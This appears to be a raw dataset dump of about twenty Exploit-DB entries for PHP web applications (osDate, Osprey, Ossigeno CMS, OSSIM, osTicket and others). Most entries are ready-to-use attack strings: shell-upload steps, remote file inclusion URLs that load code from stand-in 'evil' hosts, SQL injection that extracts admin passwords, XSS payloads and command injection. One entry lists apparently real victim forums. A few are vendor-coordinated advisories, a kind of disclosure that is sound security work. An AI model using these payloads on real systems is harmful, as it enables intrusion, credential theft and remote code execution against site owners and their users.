deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14989
Description: osDate - 'uploadvideos.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-09-13
Author: Xa7m3d

Exploit:
====================================================

osDate Upload Shell Vulnerability (uploadvideos.php)

====================================================

##########################################################

#[~] Date : 05/08/2010                                   #

#[~] Author : Xa7m3d                                     #

#[~] Tested ON : ubuntu 9.10                             #

#[~] MY Team : Currently no                              #

#[~] Software Link : http://www.tufat.com/script39.htm   #

#[~] E-mail : C1G@hotmail.com                            #

#[~] Language : php                                      #

#[~] Dork : N/A                                          #

##########################################################

[+] Step 1 : Make sure the uservideos folder exists On the next track

[-] localhost/temp/uservideos

[+] Step 2 : Register & confirm your account

[+] Step 3 : Go To :

[-] server/uploadvideos.php

[+] step 4 : upload shell.php

[+] step 5 : Go here :

[-] server/temp/uservideos

[+] You will see You shell Like "username_V1_shell.php"

 
---------greatz----------

 
Greatz to : All Muslim & Turkish Hacker,All My Friends,www.inj3ct0r.com,www.exploit-db.com,www.securityreason.com,www.securityfocus.com,www.sec-war.com,www.hackteach.org,www.sec-r1z.com,www.hackforums.net,www.1923turk.com,www.no-exploit.com,www.dev-point.com,www.2hacker.com,www.iqs3cur1ty.com,www.arab-exploit.com ..etc


Note ~ : I have The quran Memmorized! He can burn Holy Quran all he wants, the message of Islam will never die!
 
Muslim & Tunisian Hacker

 
EnJoY o_O

 
./3x17
Exploit-DB #11755
Description: osDate 2.1.9 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: NoGe

Exploit:
========================================================================================
[o] osDate Remote File Inclusion Vulnerabilities
Software : osDate dating and matchmaking script version 2.1.9 [mostly affected]
Vendor   : http://www.tufat.com/
Download : http://www.tufat.com/s_free_dating_system.htm
Author   : NoGe
Contact  : noge[dot]code[at]gmail[dot]com
Blog     : http://evilc0de.blogspot.com/
========================================================================================
[o] Vulnerable file
include_once($config['forum_installed'] . "_forum.php");
	forum/adminLogin.php
	forum/userLogin.php
[o] Exploit
       http://localhost/[path]/forum/adminLogin.php?config[forum_installed]=[evilc0de]
       http://localhost/[path]/forum/userLogin.php?config[forum_installed]=[evilc0de]
[o] Dork
       cari ndiri yee.. gampang koq dork na.. :p
========================================================================================
[o] Greetz
       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella
       H312Y yooogy mousekill }^-^{ noname s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
========================================================================================
Exploit-DB #8088
Description: Osmodia Bulletin Board 1.x - 'admin.txt' File Disclosure
Type: webapps
Platform: php
Date: 2009-02-20
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Osmodia Bulletin Board
Version : All Version
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
---------------------------------------------------------
#########################################################
[Xpl]:
http://site/[Path]/members/admin.txt
------------------------------------------
Victem :
http://www.a4-freunde.de/foren
http://www.kirk1980.de/abiboard
http://www.autothieme.de/forum
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-20]
Exploit-DB #17183
Description: osPHPSite - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-17
Author: vir0e5

Exploit:
# Exploit Title: osPHPSite SQL Injection Vulnerability
# Author  : vir0e5
# Date    : 1-12-2011
# Vendor  : http://www.osphpsite.com
# Software Link: http://sourceforge.net/projects/osphpsite
# Version: ALL VERSION


[ Vulnerable File ]
~ index.php

[ Exploit ]
~ http://www.[sitename].com/index.php?id=[Sql Injection]

[ example ]
~ http://www.[sitename].com/index.php?id=24'
~ http://www.[sitename].com/index.php?id=-24 UNION SELECT 1,@@VERSION,3,4,5,6,7,8-- 
~ http://www.[sitename].com/index.php?id=-24 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 +from+information_schema.tables+where+table_schema =database()--
~ And More.....



********************************************
[+] Greetings :[ mywisdom - kiddies - kamtiez - r3m1ck - aciz_n1nj4 | mozartklik |syafm0vic- skuteng_boy - blue_screen - agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | http://devilzc0de.org | http://santricyber.org | http://indonesiancoder.com | http://cyber4rt.com And OTHER's


Cause i'm Alone!!
Exploit-DB #2572
Description: Osprey 1.0 - 'GetRecord.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-16
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
Osprey <= 1.0 [lib_dir] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : osprey
version : 1.0
URL : http://osprey.ibiblio.org/download/osprey-1.0.tar.bz2
Description: Osprey is a peer-to-peer enabled content distribution system. A metadata management system for software and document collections enables local and distributed searching of materials. Items are available for download directly via URL or indirectly via the BitTorrent peer-to-peer protocol.
------------------------------------------------------------------


Exploit:
~~~~~~~
Variable $lib_dir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/web/lib/xml/oai/GetRecord.php?lib_dir=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-16]
Exploit-DB #32521
Description: Osprey 1.0a4.1 - 'ListRecords.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-10-23
Author: BoZKuRTSeRDaR

Exploit:
source: https://www.securityfocus.com/bid/31883/info

Osprey is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

Osprey 1.0a4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?lib_dir=[shell]
http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?xml_dir=[shell]
Exploit-DB #36886
Description: OSQA's CMS - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-27
Author: Ucha Gobejishvili

Exploit:
source: https://www.securityfocus.com/bid/52184/info

OSQA's CMS is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

OSQA 3b is vulnerable; other versions may also be affected. 

http://www.example.com/questions/ask/ press url bar & put xss code <img src="<img src=search"/onerror=alert("xss")//">
http://www.example.com/questions/ask/ press picture bar & put xss code <img src="<img src=search"/onerror=alert("xss")//">
Exploit-DB #4483
Description: Ossigeno CMS 2.2a3 - 'footer.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-04
Author: Nice Name Crew

Exploit:
:::::::::::::::::::::::::::::::::::::::::::::::::::.......................
::| \ | (_)          | \ | |                       / ____|
::|  \| |_  ___ ___  |  \| | __ _ _ __ ___   ___  | |     _ __ _____      __
::| . ` | |/ __/ _ \ | . ` |/ _` | '_ ` _ \ / _ \ | |    | '__/ _ \ \ /\ / /
::| |\  | | (_|  __/ | |\  | (_| | | | | | |  __/ | |____| | |  __/\ V  V /
::|_| \_|_|\___\___| |_| \_|\__,_|_| |_| |_|\___|  \_____|_|  \___| \_/\_/
:::::::::::::::::::::::::::::We got the nicest name in the security scene!
::::::::Info::.
::Script:Ossigeno-script
::Version:2.2_alpha3
::Author:Neovision
::Homepage:http://sourceforge.net/projects/ossigeno
::
:::::::::Details::.
::Type: File Inclusion
::Exploit:
::
:: upload/common/footer.php contains :
:: include("{$level}{$graphic_base}templates/{$header["template"]}_footer.php");
::
:: $level is undefined
:.
::
::and if anybody needs some cheap xss to publish ->read that code xD
::plus it may even hold more rfi, we just took  a quick look
::
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: naxx@nicenamecrew.com
::Website: http://nicenamecrew.com
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. 

# milw0rm.com [2007-10-04]
Exploit-DB #30831
Description: Ossigeno CMS 2.2_pre1 - '/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-30
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26654/info
     
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable.
 
http://www.example.com/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=http://www.example2.com
Exploit-DB #30826
Description: Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/modules/install_module.php?level' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-30
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26654/info

Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/modules/install_module.php?level=http://www.example2.com
Exploit-DB #30827
Description: Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/modules/uninstall_module.php?level' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-30
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26654/info
 
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/modules/uninstall_module.php?level=http://www.example2.com
Exploit-DB #30828
Description: Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/patch/index.php?level' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-30
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26654/info
  
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/patch/index.php?level=http://www.example2.com
Exploit-DB #30829
Description: Ossigeno CMS 2.2_pre1 - '/upload/xax/ossigeno/admin/install_module.php?level' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-30
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26654/info
   
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/ossigeno/admin/install_module.php?level=http://www.example2.com
Exploit-DB #30830
Description: Ossigeno CMS 2.2_pre1 - '/upload/xax/ossigeno/admin/uninstall_module.php?level' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-30
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26654/info
    
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/ossigeno/admin/uninstall_module.php?level=http://www.example2.com
Exploit-DB #5171
Description: OSSIM 0.9.9rc5 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: Marcin Kopec

Exploit:
Application: OSSIM
http://www.ossim.net
Version: 0.9.9rc5 
Note: it is possible that the problem affects also earlier OSSIM versions
Platforms: Linux
Bug: SQL injection, Cross Site Scripting
Exploitation: remote
Date: 21 Feb 2008
Author: Marcin Kopec
E-mail: marcin(dot)kopec(at)hotmail(dot)com

---------------------------------------

1) Introduction

OSSIM it's a free implementation of  Security Information Management (SIM) system, equipped with many useful security tools (nessus, snort, p0f, ntop, ...) managed from easy-to-use web panel.

2) SQL injection

The bug exist in portname parameter of modifyportform.php
It's possible to obtain hashed administrator password when user have rights to do port modification in "PORTS" tab.

http://[host]/ossim/port/modifyportform.php?portname=ANY'%20and%201=2%20union%20select%20pass,2%20from%20ossim.users%20where%20login='admin

3) XSS

Quotes in OSSIM aren't property sanitized.  
Below XSS may be executed without logging into the OSSIM.

http://[host]/ossim/session/login.php?dest=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--

# milw0rm.com [2008-02-21]
Exploit-DB #10480
Description: OSSIM 2.1.5 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-12-16
Author: Nahuel Grisolia

Exploit:
Advisory Name: Remote Command Execution in OSSIM


Vulnerability Class: Remote Command Execution

Release Date: 12-16-2009

Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

OSSIM is prone to a remote command execution vulnerability because the software fails to adequately
sanitize user-supplied input.
Successful attacks can compromise the affected software and possibly the computer running OSSIM.

Proof of Concept:

http://server/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
http://server/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;

Impact:

Direct execution of arbitrary code in the context of Webserver user.
Solution: Upgrade to OSSIM 2.1.5-4

Vendor Response:

2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems
Exploit-DB #10479
Description: OSSIM 2.1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: Nahuel Grisolia

Exploit:
Advisory Name: SQL injection in OSSIM

Vulnerability Class: SQL injection

Release Date: 12-16-2009

Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A vulnerability has been discovered in OSSIM, which can be exploited by malicious people to conduct
SQL injection attacks.
Input passed via the "id_document" parameter to repository_attachment.php is not properly sanitized
before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.
The vulnerability is confirmed in version 2.1.5. Other versions may also be affected.

Proof of Concept:

http://server/ossim/repository/repository_attachment.php?id_document=1%20union
%20select%201,2,login,4%20from%20users
http://server/ossim/repository/repository_attachment.php?id_document=1%20union
%20select%201,2,pass,4%20from%20users

Impact: Execute arbitrary SQL queries.

Solution: Upgrade to OSSIM 2.1.5-4

Vendor Response:

2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems
Exploit-DB #33815
Description: OSSIM 2.2.1 - '$_SERVER['PHP_SELF']' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-31
Author: CONIX Security

Exploit:
source: https://www.securityfocus.com/bid/39145/info

OSSIM is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

OSSIM 2.2.1 is vulnerable; other versions may also be affected.

http://www.example.com/ossim/control_panel/alarm_console.php/"><script>alert('xss')</script>
http://www.example.com/ossim/control_panel/alarm_console.php/')"%20onMouseOver="alert('xss');//
Exploit-DB #26476
Description: OSTE 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-11-07
Author: khc@bsdmail.org

Exploit:
source: https://www.securityfocus.com/bid/15340/info

OSTE is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.


http://www.example.com/index.php?page=http://evilcode?&cmd=

or http://www.example.com//?site=evilcode?&cmd=
Exploit-DB #38161
Description: osTicket - 'l.php?url' Arbitrary Site Redirect
Type: webapps
Platform: php
Date: 2013-01-02
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/57111/info

osTicket is prone to multiple input-validation vulnerabilities including:

1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities

An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.

http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com